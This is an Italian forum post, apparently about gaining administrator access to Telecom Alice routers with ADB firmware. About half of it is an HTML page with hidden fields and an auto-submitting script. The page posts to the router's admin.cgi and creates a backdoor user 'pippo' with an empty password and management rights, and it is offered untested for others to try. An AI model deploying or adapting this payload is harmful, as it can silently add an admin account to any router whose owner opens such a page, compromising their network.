Non conoscevo quel sito e nemmeno quella vulnerabilità, anche se zibri ne aveva accennato l'esistenza ma non ne aveva pubblicato i dettagli e nemmeno un programma per poterla sfruttare.
Poi ho visto il codice sorgente di quella pagina e non mi sembra ci siano cose strane, quindi dovrebbe essere sicura.
Ritornando a noi, bisognerebbe provare se funziona il test (quello che sostituisce il seriale con la scritta "ROUTER VULNERABILE") sulla versione 1.1.0 dopo essersi loggati all'interfaccia Telecom (
http://192.168.1.1)
Se non funziona significa che hanno cambiato l'active_page.
Se invece funziona, bisogna abilitare il menu avanzato (dall'apposito bottone in quella pagina) e inserire un altro utente dato che non conosciamo la pass di admin
Si potrebbe fare con una pagina html fatta in questo modo, ma non posso provarlo perché ho un firmware diverso
<FORM action="http://192.168.1.1/admin.cgi" method="post">
<INPUT type=HIDDEN name="active_page" value="9114">
<INPUT type=HIDDEN name="page_title" value="Alice - Info">
<INPUT type=HIDDEN name="mimic_button_field" value="submit_button_avanti: avanti..">
<INPUT type=HIDDEN name="button_value" value="attiva">
<INPUT type=HIDDEN name="strip_page_top" value="0">
<INPUT type=HIDDEN name="stack_set" value="(stack_set
(0
(path(admin/user))
(index(-1))
(set
(-1
(username(pippo))
(password())
(full_name(Amministratore))
(email())
(permissions
(mgt(1))
(fs(1))
(clients(1))
(lan_acc(1))
(wan_acc(0))
)
(notify_level
(0(15))
(1(15))
)
)
)
)
)
">
</FORM>
<SCRIPT>
window.onload = function(){ document.forms[0].submit(); }
</SCRIPT>
A questo punto si dovrebbe poter accedere all'interfaccia ADB con l'utente pippo e la password vuota
Se qualcuno vuole provare faccia sapere i risultati...
P.S. Non mi assumo nessuna responsabilità per eventuali danni! Cmq se qualcosa va storto di solito basta premere il tasto reset per un po' di secondi e si ricarica la configurazione di default